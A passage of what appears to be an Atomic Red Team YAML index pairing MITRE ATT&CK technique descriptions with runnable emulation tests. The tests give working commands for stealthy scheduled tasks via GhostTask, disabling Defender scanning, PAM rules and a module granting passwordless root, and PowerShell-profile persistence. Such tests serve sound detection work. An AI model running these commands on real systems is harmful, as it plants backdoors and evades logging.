    - name: PowerShell Modify A Scheduled Task
      auto_generated_guid: dda6fc7b-c9a6-4c18-b98d-95ec6542af6d
      description: "Create a scheduled task with an action and modify the action to
        do something else. The initial idea is to showcase Microsoft Windows TaskScheduler
        Operational log modification of an action on a Task already registered. \nIt
        will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon
        successful execution, powershell.exe will create a scheduled task and modify
        the action. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "cmd.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTaskModifed -InputObject $object
          $NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
          Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task ("Ghost Task") via Registry Key Manipulation
      auto_generated_guid: 704333ca-cc12-4bcf-9916-101844881f54
      description: |
        Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
        This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.
        For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).
      supported_platforms:
      - windows
      input_arguments:
        task_name:
          description: Name of the newly-added task
          type: string
          default: lilghostie
        task_command:
          description: Command you want the task to execute
          type: string
          default: notepad.exe
        target:
          description: System where the task should run
          type: string
          default: localhost
        user_name:
          description: Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin
          type: string
          default: "$env:USERDOMAIN + '\\' + $env:USERNAME"
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads
          directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads
          directory. This tool may be quarantined by windows defender; disable windows
          defender real-time protection to fix it or add the ExternalPayloads directory
          as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"`

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
        cleanup_command: |-
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
  T1205.002:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Socket Filters
      description: |-
        Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

        To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

        Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes
        listed have a need for an open raw socket and are in accordance with enterprise
        policy.(Citation: crowdstrike bpf socket filters)'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      - CrowdStrike
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520
      created: '2022-09-30T21:18:41.930Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205/002
        external_id: T1205.002
      - source_name: exatrack bpf filters passive backdoors
        description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of
          a passive backdoor. Retrieved October 18, 2022.'
        url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
      - source_name: crowdstrike bpf socket filters
        description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications
          Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October
          18, 2022.'
        url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
      - source_name: Leonardo Turla Penquin May 2020
        description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”.
          Retrieved March 11, 2021.
        url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
      - source_name: haking9 libpcap network sniffing
        description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008
          Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.'
        url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037:
    technique:
      modified: '2024-04-16T12:23:13.621Z'
      name: Boot or Logon Initialization Scripts
      description: "Adversaries may use scripts automatically executed at boot or
        logon initialization to establish persistence.(Citation: Mandiant APT29 Eye
        Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts
        can be used to perform administrative functions, which may often execute other
        programs or send information to an internal logging server. These scripts
        can vary based on operating system and whether applied locally or remotely.
        \ \n\nAdversaries may use these scripts to maintain persistence on a single
        system. Depending on the access configuration of the logon scripts, either
        local credentials or an administrator account may be necessary. \n\nAn adversary
        may also be able to escalate their privileges since some boot or logon initialization
        scripts run with higher privileges."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      - Network
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      type: attack-pattern
      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
      created: '2017-05-31T21:30:38.910Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1037
        external_id: T1037
      - source_name: Anomali Rocke March 2019
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
      - source_name: Mandiant APT29 Eye Spy Email Nov 22
        description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved
          August 17, 2023.'
        url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Scott Knight, @sdotknight, VMware Carbon Black
      - George Allen, VMware Carbon Black
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
      type: attack-pattern
      created: '2020-06-26T04:01:09.648Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.003
        url: https://attack.mitre.org/techniques/T1556/003
      - source_name: Apple PAM
        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
          Retrieved June 25, 2020.
      - source_name: Man Pam_Unix
        url: https://linux.die.net/man/8/pam_unix
        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
          25, 2020.
      - source_name: Red Hat PAM
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
          (PAM). Retrieved June 25, 2020.
      - source_name: PAM Backdoor
        url: https://github.com/zephrax/linux-pam-backdoor
        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
          25, 2020.
      - source_name: PAM Creds
        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
          PAM backdoors & DNS requests. Retrieved June 26, 2020.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Modify Authentication Process: Pluggable Authentication Modules'
      description: |-
        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

        Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.003
    atomic_tests:
    - name: Malicious PAM rule
      auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
    - name: Malicious PAM rule (freebsd)
      auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3
      description: |
        Inserts a rule into a PAM config and then tests it.

        Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient pam_succeed_if.so uid >= 0
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 8
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf}

          '
    - name: Malicious PAM module
      auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326
      description: |
        Creates a PAM module, inserts a rule to use it, and then tests it.

        Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
      supported_platforms:
      - linux
      input_arguments:
        path_to_pam_conf:
          description: PAM config file to modify.
          type: string
          default: "/etc/pam.d/su-l"
        pam_rule:
          description: Rule to add to the PAM config.
          type: string
          default: auth sufficient /tmp/pam_evil.so
        index:
          description: Index where the rule is inserted.
          type: integer
          default: 1
        path_to_pam_module_source:
          description: Path to PAM module source code.
          type: path
          default: PathToAtomicsFolder/T1556.003/src/pam_evil.c
        path_to_pam_module:
          description: Path to PAM module object
          type: path
          default: "/tmp/pam_evil.so"
      dependencies:
      - description: 'The PAM development library must be installed to build the PAM
          module

          '
        prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit
          0; else exit 1; fi;

          '
        get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install
          libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel;
          fi

          '
      - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module})

          '
        prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source}

          '
      executor:
        name: sh
        elevation_required: true
        command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

          '
        cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}

          '
  T1574.007:
    technique:
      modified: '2023-10-03T03:29:57.078Z'
      name: Path Interception by PATH Environment Variable
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables used to load libraries. The PATH environment variable
        contains a list of directories (User and System) that the OS searches sequentially
        through in search of the binary that was called from a script or the command
        line. \n\nAdversaries can place a malicious program in an earlier entry in
        the list of directories stored in the PATH environment variable, resulting
        in the operating system executing the malicious binary rather than the legitimate
        binary when it searches sequentially through that PATH listing.\n\nFor example,
        on Windows if an adversary places a malicious program named \"net.exe\" in
        `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe`
        in the PATH environment variable, when \"net\" is executed from the command-line
        the `C:\\example path` will be called instead of the system's legitimate executable
        at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely
        on the PATH environment variable to determine the locations that are searched
        when the path for the program is not given, such as executing programs from
        a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:
        ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify
        the $PATH variable specifying the directories to be searched.  An adversary
        can modify the `$PATH` variable to point to a directory they have write access.
        When a program using the $PATH variable is called, the OS searches the specified
        directory and executes the malicious binary. On macOS, this can also be performed
        through modifying the $HOME variable. These variables can be modified using
        the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),
        or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC
        linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic
        Rules macOS launchctl 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      created: '2020-03-13T14:10:43.424Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/007
        external_id: T1574.007
      - source_name: Elastic Rules macOS launchctl 2022
        description: Elastic Security 7.17. (2022, February 1). Modification of Environment
          Variable via Launchctl. Retrieved September 28, 2023.
        url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html
      - source_name: ExpressVPN PATH env Windows 2021
        description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity
          lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.'
        url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/
      - source_name: uptycs Fake POC linux malware 2023
        description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit:
          Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.'
        url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware
      - source_name: nixCraft macOS PATH variables
        description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable
          Command. Retrieved September 28, 2023.
        url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.013:
    technique:
      modified: '2023-10-20T17:04:13.976Z'
      name: 'Event Triggered Execution: PowerShell Profile'
      description: "Adversaries may gain persistence and elevate privileges by executing
        malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
        is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001)
        supports several profiles depending on the user or host program. For example,
        there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        host programs such as the PowerShell console, PowerShell ISE or Visual Studio
        Code. An administrator can also configure a profile that applies to all users
        and host programs on the local computer. (Citation: Microsoft About Profiles)
        \n\nAdversaries may modify these profiles to include arbitrary commands, functions,
        modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        session the modified script will be executed unless the <code>-NoProfile</code>
        flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
        \n\nAn adversary may also be able to escalate privileges if a script in a
        PowerShell profile is loaded and executed by an account with higher privileges,
        such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Allen DeRyke, ICE
      - Matt Green, @mgreen27
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:

        * <code>$PsHome\Profile.ps1</code>
        * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
        * <code>$Home\\\[My ]Documents\PowerShell\Profile.ps1</code>
        * <code>$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>

        Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
      created: '2020-01-24T15:11:02.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/013
        external_id: T1546.013
      - source_name: Wits End and Shady PowerShell Profiles
        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
      - source_name: ESET Turla PowerShell May 2019
        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
          usage. Retrieved June 14, 2019.
        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
      - source_name: Malware Archaeology PowerShell Cheat Sheet
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
      - source_name: Microsoft About Profiles
        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
          14, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
      - source_name: Microsoft Profiles
        description: Microsoft. (2021, September 27). about_Profiles. Retrieved February
          4, 2022.
        url: https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.013
    atomic_tests:
    - name: Append malicious start-process cmdlet
      auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896'
      description: 'Appends a start process cmdlet to the current user''s powershell
        profile pofile that points to a malicious executable. Upon execution, calc.exe
        will be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: Path the malicious executable
          type: path
          default: calc.exe
        ps_profile:
          description: Powershell profile to use
          type: string
          default: "$profile"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ensure a powershell profile exists for the current user

          '
        prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force

          '
      executor:
        command: |
          Add-Content #{ps_profile} -Value ""
          Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
          powershell -Command exit
        cleanup_command: |
          $oldprofile = cat $profile | Select-Object -skiplast 1
          Set-Content $profile -Value $oldprofile
        name: powershell
  T1543:
    technique:
      modified: '2024-02-15T14:14:03.942Z'
      name: Create or Modify System Process
      description: "Adversaries may create or modify system-level processes to repeatedly
        execute malicious payloads as part of persistence. When operating systems
        boot up, they can start processes that perform background system functions.
        On Windows and Linux, these system processes are referred to as services.(Citation:
        TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)
        and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run
        to finish system initialization and load user specific parameters.(Citation:
        AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services,
        daemons, or agents that can be configured to execute at startup or a repeatable
        interval in order to establish persistence. Similarly, adversaries may modify
        existing services, daemons, or agents to achieve the same effect.  \n\nServices,
        daemons, or agents may be created with administrator privileges but executed
        under root/SYSTEM privileges. Adversaries may leverage this functionality
        to create or modify system processes in order to escalate privileges.(Citation:
        OSX Malware Detection)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for changes to system processes that do not correlate
        with known software, patch cycles, etc., including by comparing results against
        a trusted system baseline. New, benign system processes may be created during
        installation of new software. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for Command and Control, learning details about
        the environment through Discovery, and Lateral Movement.  \n\nCommand-line
        invocation of tools capable of modifying services may be unusual, depending
        on how systems are typically used in a particular environment. Look for abnormal
        process call trees from known services and for execution of other commands
        that could relate to Discovery or other adversary techniques. \n\nMonitor
        for changes to files associated with system-level processes."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Container: Container Creation'
      - 'Driver: Driver Load'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
      created: '2020-01-10T16:03:18.865Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543
        external_id: T1543
      - source_name: AppleDocs Launch Agent Daemons
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: TechNet Services
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
      - source_name: OSX Malware Detection
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
